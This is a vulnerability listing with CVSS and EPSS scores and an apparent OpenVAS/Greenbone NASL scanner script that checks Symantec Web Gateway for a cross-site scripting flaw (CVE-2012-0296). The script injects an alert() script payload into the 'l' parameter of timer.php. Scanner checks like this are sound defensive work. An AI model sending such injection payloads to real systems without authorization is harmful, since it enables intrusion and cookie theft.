4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
5.9 Medium
AI Score
Confidence
High
0.242 Low
EPSS
Percentile
96.6%
Symantec Web Gateway is prone to a cross-site scripting vulnerability
because it fails to properly sanitize user-supplied input.
# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:symantec:web_gateway";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.103484");
script_version("2023-10-27T05:05:28+0000");
script_cve_id("CVE-2012-0296");
script_tag(name:"cvss_base", value:"4.3");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
script_name("Symantec Web Gateway 'l' Parameter Cross Site Scripting Vulnerability");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/53396");
script_xref(name:"URL", value:"https://support.symantec.com/en_US/article.SYMSA1250.html");
script_tag(name:"last_modification", value:"2023-10-27 05:05:28 +0000 (Fri, 27 Oct 2023)");
script_tag(name:"creation_date", value:"2012-05-07 14:02:06 +0200 (Mon, 07 May 2012)");
script_category(ACT_ATTACK);
script_tag(name:"qod_type", value:"remote_analysis");
script_family("Web application abuses");
script_copyright("Copyright (C) 2012 Greenbone AG");
script_dependencies("gb_symantec_web_gateway_detect.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("symantec_web_gateway/installed");
script_tag(name:"summary", value:"Symantec Web Gateway is prone to a cross-site scripting vulnerability
because it fails to properly sanitize user-supplied input.");
script_tag(name:"impact", value:"An attacker may leverage this issue to execute arbitrary script code
in the browser of an unsuspecting user in the context of the affected
site. This may allow the attacker to steal cookie-based authentication
credentials and launch other attacks.");
script_tag(name:"solution", value:"Updates are available. Please see the referenced vendor advisory for more information.");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
if(!port = get_app_port(cpe:CPE))exit(0);
if(!dir = get_app_location(cpe:CPE, port:port))exit(0);
url = string(dir, "/spywall/timer.php?d=0&l=0'<script>alert(/xss-test/)</script>&profile=0");
if(http_vuln_check(port:port, url:url,pattern:"<script>alert\(/xss-test/\)</script>", check_header:TRUE)) {
security_message(port:port);
exit(0);
}
exit(0);